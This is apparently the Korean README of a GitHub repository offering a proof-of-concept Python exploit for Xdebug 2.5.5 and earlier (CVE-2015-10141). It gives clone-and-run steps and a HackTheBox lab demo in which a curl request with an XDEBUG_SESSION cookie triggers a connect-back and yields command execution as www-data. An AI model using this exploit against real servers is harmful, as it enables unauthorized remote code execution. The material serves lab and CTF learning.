n0m4d22/poc-cve-2015-10141-xdebugXdebug 2.5.5 및 이전 버전(CVE-2015-10141)용 개념 증명(PoC) 익스플로잇 스크립트.
Xdebug ≤ 2.5.5(CVE-2015-10141)용 커스텀 Python 익스플로잇.
이 저장소에는 2.5.5 및 이전 버전의 Xdebug 원격 코드 실행 취약점에 대한 개념 증명(PoC) 익스플로잇이 포함되어 있습니다.
이 스크립트는 포트 9000에 노출된 인증되지 않은 디버깅 프로토콜을 활용하여 원격 명령 실행을 수행합니다.
git clone https://github.com/n0m4d22/PoC-CVE-2015-10141.git
cd PoC-CVE-2015-10141
python3 exploit.py
프롬프트가 표시되면 Xdebug가 실행 중인 대상 IP를 입력합니다.
제가 최근에 작성한 HackTheBox Olympus (Medium) 라이트업에서 가져온 데모입니다:
┌──(kali㉿kali)-[~]
└─$ python exploit.py
[*] Target IP: 10.129.124.136
[*] Connecting to 0.0.0.0:9000 ...
[*] Initializing debugging: curl http://10.129.124.136 -H "Cookie: XDEBUG_SESSION=olympus"
[*] Connection to ('10.129.124.136', 36354) established.
$ whoami
www-data
이 프로젝트는 교육 목적으로만 제작되었습니다.
절대로 명시적 승인 없이 이 익스플로잇을 시스템에 사용하지 마십시오. 이 코드의 오용에 대해 저는 책임을 지지 않습니다.